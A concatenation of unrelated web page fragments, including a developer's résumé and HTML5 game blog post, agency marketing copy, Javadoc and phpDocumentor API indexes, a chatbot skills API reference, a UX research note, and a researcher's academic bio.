- True North Custom Publishing, Chattanooga, TN, Publisher
- American Bicycle Group, Chattanooga, TN, Inside Sales/Customer Service
Education
University of Tennessee, Knoxville
Goals
- Learn web development
- Find a job as a web developer
- Travel
- Be kind
Top Ten Places To Visit
- Peru
- Pacaya Samiria National Reserve, Peru
- Machu Picchu
- The Great Smoky Mountains
- Geneva, Switzerland
- Yellowstone National Park
- Grand Tetons
- Portland, Oregon
- Ashville, North Carolina
- The Clinch River, Tennessee


HTML 5 Game Development Experiments
01/12/2016 MST
game, html5, programming
Play the game: CLICK HERE
After finishing the engineering class website I was tasked to work on over winter break, I decided to use the last week of vacation to improve my JavaScript skills. I decided working on a simple game would be a nice way to relax and still get some programming practice in.
I had used Phaser in the past for CactusHack 2015 (hosted by TucsonJS) where my group managed to take 2nd place thanks to our bravery in attempting a game in 24 hours. I suppose participating in LudumDare events in the past has given me a bit of agility when it comes to learning new game frameworks and implementing basic gameplay.
Sadly Phaser, despite having a lot of great features built in, suffers from a lack of up to date documentation and demo code. Additionally, because the library seems to have undergone quite a lot of change over time, many of the internet searches I performed while looking for basic functionality were for older versions of the library.
Eventually I decided that I ought to check out Pixi.JS (the library that Phaser is built on top of) upon hearing chatter around the internet that it was a much better library than Phaser, although being a bit harder to learn initially.
What I’ve found, however, is that Pixi.JS is much more intuitively designed, and performs much better for games that involve simple logic. After spending about 3-4 hours with the library I’ve created a very simple game here to demonstrate what is possible. I however did use the wonderful BigInteger library by Peter Olson to allow quick score calculation and to store the large resulting integer for the later stages.
1/14/16 - I have since spent quite a few more hours adding a few more elements to the game such as a threshold mechanic, and smoother animations.


{{getVerbHeader()}} {{commentTypeName()}}
Settings
Also Notify:
Attachments:
/
{{getFullDoc(docid).name}}
Email:
Send
Suppress
Email sent {{cmt.postTime|date: "dd-MMM-yyyy HH:mm"}}
Email not sent.
State:
Draft
Open
Closed
Type:
Comment
Proposal
Round
Minutes
Due Date:


AMAZING PEOPLE ARE MAKING AMAZING DESIGNS IN A FUN ENVIRONMENT
When you work with us, you are a part of a team of committed collaborators.
All aspects of our software development process are integrated, interactive
and agile.
Our approach unifies design,development and product management to create exceptional products.
We start each project by understanding your business goals, the usr's needs and the product requirements.
Then we help translate them into effective and elegant solutions.
Before we sign a contract or write a line of code our team will spend the necessary time needed to understand your product vision.
The outcome of this scoping season is a proposal or high-level statement of work
based on your requirements, we can provide a complete offering or just the peices you need.
Our design practice offers a full range of services including brand strategy, interaction and visual design and user experience testing. Throughout your project, our designers create and implement visual design and workflows, solicit user feedback and work with you to make sure what gets built is what is needed.
All engineers are fluent in the latest enterprise, mobile and web development technologies. They collaborate with your team to write, and improve code on a daily basis, using proven practices such as test-driven development and pair programming.
Planning and development is iterative. Because we are constantly coding and testing, the products we build are always ready to go live. This iterative process allows for changes as business requirements evolve.
DELANI STUDIO
2019


2 references to ShareModes
Microsoft.PowerShell.ConsoleHost (2)
host\msh\ConsoleControl.cs (2)
555
(UInt32)NativeMethods.
ShareModes
.ShareRead,
589
(UInt32)NativeMethods.
ShareModes
.ShareWrite,


- onActivityResult(int, int, Intent) - Method in class com.example.zoomwroom.FragmentCreateRide
-
receive the place search result from Autocomplete (google Places api)
- onActivityResult(int, int, Intent) - Method in class com.example.zoomwroom.UserProfileActivity
-
- onBindViewHolder(QRBucksAdapter.QRBucksViewHolder, int) - Method in class com.example.zoomwroom.QRBucksAdapter
-
- onBindViewHolder(RequestAdapter.MyViewHolder, int) - Method in class com.example.zoomwroom.RequestAdapter
-
- onConfirmPressed(int) - Method in interface com.example.zoomwroom.RateDriverFragment.OnFragmentInteractionListener
-
- onCreate(Bundle) - Method in class com.example.zoomwroom.AcceptedDriveRequestsActivity
-
- onCreate(Bundle) - Method in class com.example.zoomwroom.DriverCompleteRequestFragment
-
- onCreate(Bundle) - Method in class com.example.zoomwroom.DriveRequestDetailsActivity
-
- onCreate(Bundle) - Method in class com.example.zoomwroom.DriverHomeActivity
-
- onCreate(Bundle) - Method in class com.example.zoomwroom.DriverQRBucksListActivity
-
- onCreate(Bundle) - Method in class com.example.zoomwroom.EditUserProfileActivity
-
- onCreate(Bundle) - Method in class com.example.zoomwroom.FragmentDisplayDriveRequestInfo
-
- onCreate(Bundle) - Method in class com.example.zoomwroom.FragmentDriverCurrentRequest
-
- onCreate(Bundle) - Method in class com.example.zoomwroom.LoginActivity
-
- onCreate(Bundle) - Method in class com.example.zoomwroom.MainActivity
-
- onCreate(Bundle) - Method in class com.example.zoomwroom.MapsActivity
-
- onCreate(Bundle) - Method in class com.example.zoomwroom.RiderCompleteRequestFragment
-
- onCreate(Bundle) - Method in class com.example.zoomwroom.RiderHomeActivity
-
- onCreate(Bundle) - Method in class com.example.zoomwroom.ScannerActivity
-
Initializes camera and barcode scanning
- onCreate(Bundle) - Method in class com.example.zoomwroom.SignupActivity
-
- onCreate(Bundle) - Method in class com.example.zoomwroom.UserContactActivity
-
- onCreate(Bundle) - Method in class com.example.zoomwroom.UserProfileActivity
-
- onCreateDialog(Bundle) - Method in class com.example.zoomwroom.QRDisplayFragment
-
- onCreateDialog(Bundle) - Method in class com.example.zoomwroom.RateDriverFragment
-
- onCreateView(LayoutInflater, ViewGroup, Bundle) - Method in class com.example.zoomwroom.DriverCompleteRequestFragment
-
- onCreateView(LayoutInflater, ViewGroup, Bundle) - Method in class com.example.zoomwroom.FragmentCreateRide
-
- onCreateView(LayoutInflater, ViewGroup, Bundle) - Method in class com.example.zoomwroom.FragmentDisplayDriveRequestInfo
-
- onCreateView(LayoutInflater, ViewGroup, Bundle) - Method in class com.example.zoomwroom.FragmentDriverCurrentRequest
-
- onCreateView(LayoutInflater, ViewGroup, Bundle) - Method in class com.example.zoomwroom.RiderCompleteRequestFragment
-
- onCreateViewHolder(ViewGroup, int) - Method in class com.example.zoomwroom.QRBucksAdapter
-
- onCreateViewHolder(ViewGroup, int) - Method in class com.example.zoomwroom.RequestAdapter
-
- onDestroy() - Method in class com.example.zoomwroom.FragmentDisplayDriveRequestInfo
-
This resetMarkers method is called to reset the markers when the user closes the request fragment.
- ONGOING - Static variable in class com.example.zoomwroom.Entities.DriveRequest.Status
-
- onMapClick(LatLng) - Method in class com.example.zoomwroom.DriverHomeActivity
-
- onMapClick(LatLng) - Method in class com.example.zoomwroom.MapsActivity
-
- onMapClick(LatLng) - Method in class com.example.zoomwroom.RiderHomeActivity
-
Moves the destination and departure markers when user clicks on a point on the map
flag f - true = set departure
false = set destination
- onMapReady(GoogleMap) - Method in class com.example.zoomwroom.DriverHomeActivity
-
Manipulates the map once available.
- onMapReady(GoogleMap) - Method in class com.example.zoomwroom.MapsActivity
-
Manipulates the map once available.
- onMapReady(GoogleMap) - Method in class com.example.zoomwroom.RiderHomeActivity
-
- onMarkerClick(Marker) - Method in class com.example.zoomwroom.DriverHomeActivity
-
Opens a fragment to show the details of the currently selected request and allows the driver
to accept a request.
- onMessageReceived(RemoteMessage) - Method in class com.example.zoomwroom.MyFirebaseMessagingService
-
- onNewToken(String) - Method in class com.example.zoomwroom.MyFirebaseMessagingService
-
- onQrBucksClick(int) - Method in class com.example.zoomwroom.DriverQRBucksListActivity
-
- onQrBucksClick(int) - Method in interface com.example.zoomwroom.QRBucksAdapter.OnQRBucksClickListener
-
- onRequestClick(int) - Method in class com.example.zoomwroom.AcceptedDriveRequestsActivity
-
- onRequestClick(int) - Method in interface com.example.zoomwroom.RequestAdapter.OnRequestClickListener
-
- onRequestPermissionsResult(int, String[], int[]) - Method in class com.example.zoomwroom.MapsActivity
-
Checks if user has given permission, check if location is enabled in settings and then calls
the getLastLocation function to get the user's location if the above conditions are satisfied
- onResume() - Method in class com.example.zoomwroom.MapsActivity
-
If the activity is resumed, it updates the user's location if required.
- OpenActivityDriverMode() - Method in class com.example.zoomwroom.MainActivity
-
switch mode between driver and rider
- OpenActivityRiderMode() - Method in class com.example.zoomwroom.MainActivity
-
switch mode between driver and rider
- OpenHomeActivity() - Method in class com.example.zoomwroom.DriverLoginActivity
-
go to driver home activity after logging in
- OpenHomeActivity() - Method in class com.example.zoomwroom.DriverSignUpActivity
-
go to driver home after signing up
- OpenHomeActivity() - Method in class com.example.zoomwroom.LoginActivity
-
Opens into the main page if login is successful
- OpenHomeActivity() - Method in class com.example.zoomwroom.RiderLoginActivity
-
Opens into the Rider's main page if login is successful
- OpenHomeActivity() - Method in class com.example.zoomwroom.RiderSignUpActivity
-
Opens into the Rider's main page if login is successful
- OpenHomeActivity() - Method in class com.example.zoomwroom.SignupActivity
-
- OpenSignUpActivity() - Method in class com.example.zoomwroom.DriverLoginActivity
-
change to driver signup page for driver to signup
- OpenSignUpActivity() - Method in class com.example.zoomwroom.LoginActivity
-
- OpenSignUpActivity() - Method in class com.example.zoomwroom.RiderLoginActivity
-
change activity to rider signup page for driver to sign up
- OWED - Static variable in class com.example.zoomwroom.Entities.QRBucks.StatusQRBucks
-


This store uses a PEAR::MDB2 connection to store persistence information.
The table names used are determined by the class variables associations_table_name and nonces_table_name. To change the name of the tables used, pass new table names into the constructor.
To create the tables with the proper schema, see the createTables method.
Located in /Auth/OpenID/MDB2Store.php (line 46)
Auth_OpenID_OpenIDStore | --Auth_OpenID_MDB2Store
This creates a new MDB2Store instance. It requires an established database connection be given to it, and it allows overriding the default table names.
Resets the store by removing all records from the store's tables.
Inherited From Auth_OpenID_OpenIDStore
Auth_OpenID_OpenIDStore::cleanup()
Auth_OpenID_OpenIDStore::cleanupAssociations()
Auth_OpenID_OpenIDStore::cleanupNonces()
Auth_OpenID_OpenIDStore::getAssociation()
Auth_OpenID_OpenIDStore::removeAssociation()
Auth_OpenID_OpenIDStore::reset()
Auth_OpenID_OpenIDStore::storeAssociation()
Auth_OpenID_OpenIDStore::supportsCleanup()
Auth_OpenID_OpenIDStore::useNonce()
Documentation generated on Thu, 05 May 2011 19:14:24 -0400 by phpDocumentor 1.4.3


Additional screen before the declaration to give users a overview of the details they have provided within the service.
This feature tested very well - with users clear about what it was, what they were reviewing and how they could change any details if required. Participants would expect the change links to take them right back to the relevant information then back to this summary page once it had been amended although this functionality is not in the prototype. No users said they would expect the bank details to be displayed on this page, with one user noting their absence and most not noticing at all.


Members
commands
List available commands linked to skills.
intents
List plugged intents from skills.
interactions
List plugged interactions from skills.
skills
List running skills.
Methods
addSkill()
Add a new skill.
Params :
--------
skill:
{
name: String -> Name of the skill. (required)
code: String -> Code of the skill to add in skill.js. (required)
secret: {key: value} -> Config to add in secret.js. (optional)
}
Returns :
---------
Promise
deleteSkill()
Remove a skill.
Params :
--------
skill:
String Name of the skill to delete
Returns :
---------
Promise
getDirectories() → {Array}
Get list of directories at a given path.
Returns:
Array of directories names.
- Type
- Array
handleCommand(commandName, phraseopt, dataopt) → {Promise}
Handle a command. Find the related skill and call it.
Parameters:
| Name | Type | Attributes | Default | Description |
|---|---|---|---|---|
commandName |
String | The word of the command to execute. | ||
phrase |
String |
<optional> |
"" | Parameters of the command (string following command word) sent by connector. |
data |
Object |
<optional> |
{} | Data sent by the connector to the brain. |
Returns:
Promise object represents the answer of the skill (message to send back to connector, optional data...)
- Type
- Promise
handleIntent(intentName, entitiesopt, dataopt) → {Promise}
Handle an intent. Find the related skill and call it.
Parameters:
| Name | Type | Attributes | Default | Description |
|---|---|---|---|---|
intentName |
String | The name of the intent (slug given by nlp service provider). | ||
entities |
Object |
<optional> |
{} | Entities returned by the nlp service provider (if any). |
data |
Object |
<optional> |
{} | Data sent by the connector to the brain. |
Returns:
Promise object represents the answer of the skill (message to send back to connector, optional data...)
- Type
- Promise
loadSkill(skillName) → {Promise}
Load skill from /logic/skills folder.
Parameters:
| Name | Type | Description |
|---|---|---|
skillName |
String | The name of the skill to load. |
Returns:
Promise object resolve if success, reject otherwise.
- Type
- Promise
loadSkills(skillsToLoad)
Load skills from /logic/skills folder.
Store commands and intents into memory : skills, commands and intents.
Parameters:
| Name | Type | Description |
|---|---|---|
skillsToLoad |
Array.<String> | The names of skills to load. |
loadSkillsFromFolder()
Load skills from skills folder (on bot start).
reloadSkill(skillName) → {Promise}
Reload a specific skill. (Remove it, reload it, add it).
Parameters:
| Name | Type | Description |
|---|---|---|
skillName |
String | The name of the skill to reload. |
Returns:
Promise object resolve if success, reject otherwise.
- Type
- Promise


I am an Assistant Professor of Computer and System Engineering at Minia University in Egypt (currently on leave). I got my Ph.D. in Computer Engineering from the Bradley Department of Electrical and Computer Engineering at Virginia Tech, where I worked with Prof. Charles Clancy in the Hume Center for National Security and Technology. I earned my B.S. degree in Computer and System Engineering in 2005 from the Faculty of Engineering, Ain Shams University in Cairo, Egypt. In 2010, I joined the Direct Ph.D. program in Computer Engineering at Virginia Tech, and got my M.S. degree in 2013 and my Ph.D. degree in 2017. My current research interests include applying machine learning to mobile and cloud computing and security.
For my Ph.D. dissertation, I worked on a project for securing cloud-based Linux containers through anomaly-based Intrusion detection and remediation. The Prezi below gives an overview of how the system works. For more details about my research, please refer to my publications


--- layout: default --- {% include header.html %} {% include product.html %} {% include how-to.html %} {% comment %}{% include testimonials.html %}{% endcomment %} {% include bumper.html %} {% include suppliers.html %} {% include footer.html %}